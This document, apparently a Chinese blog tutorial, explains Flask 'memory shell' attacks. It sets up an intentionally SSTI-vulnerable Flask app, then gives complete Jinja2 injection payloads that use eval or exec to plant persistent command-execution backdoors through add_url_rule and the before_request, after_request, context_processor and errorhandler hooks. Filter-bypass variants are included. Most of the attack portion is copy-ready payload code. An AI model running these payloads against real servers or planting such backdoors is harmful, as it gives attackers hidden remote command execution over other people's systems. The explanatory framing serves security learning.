介绍
- Flask 内存马（Flask Memory Shell）是一种无文件攻击（Fileless Attack）技术。攻击者利用 RCE（远程代码执行）漏洞，在 Web 服务器运行时（Runtime）动态修改 Flask 框架的路由映射表（url_map），将恶意函数注册为新的路由端点，从而实现持久化控制。
特点：
- 无文件落地：磁盘上不生成 Webshell 文件，绕过常规的文件监控和杀毒软件。
- 易失性：驻留于进程内存中，Web 服务重启即失效
- 技术原理：动态路由注册
Flask 框架处理请求的核心机制是 URL 路由分发。正常开发中，我们使用 @app.route('/path') 装饰器注册路由；在底层，这实际上是调用了 app.add_url_rule() 方法。
内存马的本质： 在程序运行过程中，通过漏洞（如 SSTI）获取到全局的 app 实例（Application Context），主动调用 add_url_rule()，强行插入一条新的路由规则。
老版内存马
搭建服务
先写一个具有ssti漏洞的flask服务
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/')def home(): person="guest" if request.args.get('name'): person=request.args.get('name') template = '<h2>Hello %s!</h2>' % person return render_template_string(template)
if __name__ == '__main__': app.run(host='0.0.0.0', port=8000,debug=True)内存马基础payload
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
这样就打上了
拆分学习
一下内容来自gemini，它讲得挺详细的
# 外部包裹：Jinja2 模板语法{{ # 1. 逃逸核心：获取 eval 函数 url_for.__globals__['__builtins__']['eval'](
# 2. 恶意代码字符串 (eval 的第一个参数) "app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",
# 3. 上下文注入 (eval 的 global 参数) { '_request_ctx_stack': url_for.__globals__['_request_ctx_stack'], 'app': url_for.__globals__['current_app'] } )}}第一部分：逃逸与执行引擎 (Executor)
代码片段：
Python
url_for.__globals__['__builtins__']['eval'](...)url_for: 这是 Flask 的一个内置函数，用来生成 URL。在 Jinja2 模板中，我们不仅能用它生成链接，还能把它当作跳板。.__globals__: 这是越狱的关键。 Python 函数都有一个__globals__属性，它保存了该函数定义时的全局变量字典。通过它，我们可以从原本封闭的 Jinja2 模板沙箱中跳出来，访问 Flask 整个应用的全局环境。['__builtins__']['eval']: 我们在全局变量中找到了 Python 的内置函数库 (__builtins__)，并提取出了eval函数。- 作用：
eval可以将字符串当作 Python 代码来执行。 - 为什么需要它？：Jinja2 模板里不能直接写
def或复杂的逻辑。利用eval，我们可以把复杂的 Python 代码写成字符串传进去执行。
- 作用：
第二部分：上下文注入 (Context Injection)
这是这个 Payload 最精妙的地方。
代码片段：
Python
{ '_request_ctx_stack': url_for.__globals__['_request_ctx_stack'], 'app': url_for.__globals__['current_app']}解析： eval 函数的第二个参数允许我们定义代码执行时的全局变量作用域。
-
问题：在
eval执行的字符串代码里，默认是拿不到app对象（用来注册路由）和request对象（用来获取参数）的。 -
解决：攻击者手动把这两个关键对象“喂”给了
eval。-
app: 传入了current_app（当前运行的 Flask 应用实例），有了它才能调用add_url_rule。 -
_request_ctx_stack: 传入了 Flask 的请求上下文栈。这是为了在内存马运行时，能够动态获取当前的 HTTP 请求信息（比如参数?cmd=...）。
当一个请求进入Flask，首先会实例化一个Request Context，这个上下文封装了请求的信息在Request中，并将这个上下文推入到一个名为
_request_ctx_stack的栈结构中，也就是说获取当前的请求上下文等同于获取_request_ctx_stack的栈顶元素_request_ctx_stack.top。简单来讲，就是当一个请求过来的时候，会实例化一个对象来封装和这个请求有关的东西（例如cookie、URL参数等），然后再推到栈中
-
第三部分：恶意逻辑主体 (The Malicious Payload)
这是 eval 真正执行的那段字符串代码。
代码片段：
Python
app.add_url_rule( '/shell', 'shell', lambda : __import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())深度拆解：
app.add_url_rule(...): 这是 Flask 动态添加路由的标准方法。相当于你在代码里写@app.route(...)。'/shell', 'shell':'/shell': 定义内存马的访问路径（URL）。'shell': 定义端点名称（Endpoint Name），必须唯一。
lambda : ...:- 这里定义了访问
/shell时要执行的视图函数。 - 为什么用 lambda？ 因为
eval只能执行表达式，不能执行def定义的函数代码块。Lambda 是匿名函数，正好是个表达式。
- 这里定义了访问
_request_ctx_stack.top.request.args.get('cmd', 'whoami'):- 获取命令：这行代码从当前的 HTTP 请求中获取名为
cmd的参数。 - 上下文栈：
_request_ctx_stack.top指向当前的请求上下文，从中提取request对象。 - 默认值：如果不传
cmd，默认执行whoami。
- 获取命令：这行代码从当前的 HTTP 请求中获取名为
__import__('os').popen(...).read():- 执行命令：利用
os模块的popen方法执行刚才获取到的系统命令，并利用.read()读取命令回显结果，最后返回给网页。
- 执行命令：利用
整个过程就相当于添加了一个路由
@app.route('/shell')def evil_shell(): cmd = request.args.get('cmd', 'whoami') result = os.popen(cmd).read() return result变形绕过
url_for可用get_flashed_messages替换eval可以通过request.application.__self__._get_data_for_json['__builtins__']['eval']拿；app可以通过{{lipsum.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].app")}}获取
新版内存马
Flask 官方在 2.2 版本 之后做了一个重大的底层重构：
- 删除了
_request_ctx_stack。 - 删除了
_app_ctx_stack。 - 引入了 Python 标准库的
ContextVar来管理上下文。
这也就意味着刚刚学的哪些方法在新的flask版本中几乎没有任何作用，下面更新一下flask版本，开始学习在新版中打入内存马的姿势
@app.before_request
他的意思就是在我们的请求前进行一些操作
他的正常写法
@app.before_requestdef before_request(): # 执行操作比如身份验证 if not request.headers.get("Authorization"): return "Unauthorized",401
可以注意到这个函数的回显是f
payload:
{{url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen(request.args.get('cmd','whoami')).read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['flask'].current_app})}}这个payload是利用app.before_request在每一次请求之前先处理我们定义的恶意函数lambda : __import__('os').popen(request.args.get('cmd')).read()当这个请求中出现GET请求且参数是cmd时会执行恶意函数并回显
@app.after_request
于上一种大致相同
payload:
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda x: __import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read()))",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['flask'].current_app})}}@app.context_processor
官方定义： context_processor 是一个装饰器，用来注册一个函数。这个函数会在每次渲染模板（调用 render_template）之前运行。
像上面一样，只需要在append()中写入一个恶意函数，那么每次再调用模板的时候就会执行这个函数，达到内存马的目的
如果在app.py中的写法大概是这样
# 恶意的上下文处理器def evil_processor(): import os from flask import request # 获取参数 cmd cmd = request.args.get('cmd') result = "" if cmd: # 执行命令 result = os.popen(cmd).read()
# 必须返回字典，我们将结果放入 'res' 变量中 # 这样在模板里虽然不一定直接显示 {{res}}，但代码确实执行了 return {'res': result}
# 注入过程app.template_context_processors[None].append(evil_processor)payload:
{{url_for.__globals__['__builtins__']['eval']("app.template_context_processors.setdefault(None,[]).append(lambda:{'btop251':__import__('os').popen(request.args.get('cmd','whoami')).read()})",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['flask'].current_app})}}@app.errorhandler
一个错误处理的装饰器
正常用法：
@app.errorhandler(404)def error(e): print(e) return "error"当出现404是就回返回error
看着猪脑过载了，所以直接cp clown师傅的payload，当作记录
{{url_for.__globals__['__builtins__']['exec']("global exc_class;global code;exc_class,code=app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class]=lambda exc_class: __import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}部分信息可能已经过时